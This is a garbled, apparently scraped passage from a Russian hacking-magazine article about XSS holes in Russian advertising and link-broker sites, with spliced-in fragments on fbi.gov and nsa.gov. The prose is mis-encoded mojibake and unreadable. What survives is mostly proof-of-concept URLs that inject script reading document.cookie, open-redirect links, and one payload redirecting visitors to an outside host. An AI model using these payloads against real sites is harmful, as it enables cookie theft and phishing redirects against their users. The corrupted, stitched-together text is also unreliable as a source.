этом - Xakep Online

æå ëþäÿì, ïðîñòî îðèåíòèðîâàíû íà ðàçíóþ öåëåâóþàóäèòîðèþ. Ê ïðèìåðó, PROCONTEXT — ýòîêîíòåêñòíàÿ ðåêëàìà, êîòîðàÿ ðàíåå áûëà äîñòóïíàâ ñàìîì PROSPERO, íî çàòåì åå èñêóññòâåííî âûäåëèëèâ îòäåëüíûé ïðîåêò, ÷òîáû ðàçâÿçàòü ðóêèîñíîâíîìó ïðîåêòó ïðè ñîâåðøåíñòâîâàíèè êîäàè ôóíêöèîíàëüíîñòè.Óÿçâèìîñòè â ýòèõ ñèñòåìàõ îáíàðóæèâàëèñüíåîäíîêðàòíî, íî íàäî îòäàòü äîëæíîå îïåðàòèâíîñòèàäìèíèñòðàòîðîâ, êîòîðûå äåëàëè ëþáûåïðîáëåìû äîñòîÿíèåì èñòîðèè, îïåðàòèâíî âíîñÿíåîáõîäèìûå èçìåíåíèÿ. Òàêæå îíè ñåðüåçíî ïîâûñèëèáåçîïàñíîñòü, óñîâåðøåíñòâîâàâ ñèñòåìó àâòîðèçàöèè,ââåäÿ äîïîëíèòåëüíûå îãðàíè÷åíèÿ ïîâðåìåíè ñåññèè è ïðèâÿçêå ñåññèè ê IP-àäðåñó (àíàëîãèÿñ CLX).Ïðèâåäåì XSS-óÿçâèìîñòü, êîòîðàÿ èìåëàìåñòî íà ôîðóìàõ âñåõ òðåõ ïðîåêòîâ (äâèæîê îäèíè òîò æå). Îíà çàòàèëàñü â ïàðàìåòðå search_wordsäëÿ ïîèñêà ïî ôîðóìó:http://www.prospero.ru/forum_search?search=1&search_words=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3Ehttp://procontext.ru/forum_search?search=1&search_words=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3Ehttp://seopoint.ru/forum_search?search=1&search_words=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3Ewww.mainlink.ru. Ïðèìåð ýêñïëóàòàöèè èìåâøåéìåñòî óÿçâèìîñòè:http://mainlink.ru/find/?what=%3Cscript%3Ealert(document.cookie)%3C/script%3Ewww.setlinks.ru. Ïðèìåð ýêñïëóàòàöèè èìåâøåéìåñòî óÿçâèìîñòè — íà ñòðàíèöåhttp://www.setlinks.ru/partner/editpage.html?id=xxxxïðè îòïðàâêå POST-çàïðîñà (â ïîëÿõ «Ðàçäåëèòåëü»è «Êëàññ ññûëîê»):">alert(document.cookie)www.adbroker.ru. Ïðèìåð ýêñïëóàòàöèè èìåâøåéìåñòî óÿçâèìîñòè:http://adbroker.ru/user_partner.php?action=adv_queries&uarq_order=4%22%3E%XSS íà www.fbi.gov3Cscript%3Ealert(document.cookie)%3C/script%3Ehttp://adbroker.ru/get_code.php?scid=2484&lid=1&css_class=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ewww.affiliatenetwork.ru. Ïðèìåð ýêñïëóàòàöèèèìåâøåé ìåñòî óÿçâèìîñòè:http://www.affiliatenetwork.ru/affiliates_new/viewpaid.php?kol_zap_str=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ewww.link.ru. Îäèí èç íåìíîãèõ èíòåðíåò-áðîêåðîâ,àäìèíèñòðàòîðû êîòîðîãî, ê ñîæàëåíèþ,http://www.fbi.gov/cgi-bin/outside.cgi?javascript:alert('XSS')http://www.fbi.gov/cgi-bin/outside.cgi?javascript:alert(document.cookie)http://www.fbi.gov/cgi-bin/outside.cgi?http://websecurity.com.uaXSS íà www.nsa.govhttp://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:alert(%22XSS%22)%3Ealert(«XSS»), òîëüêî IEhttp://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:alert(document.cookie)%3Ealert(document.cookie), òîëüêî IEhttp://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:document.location=%22http://websecurity.com.ua%22%3E(1)(2)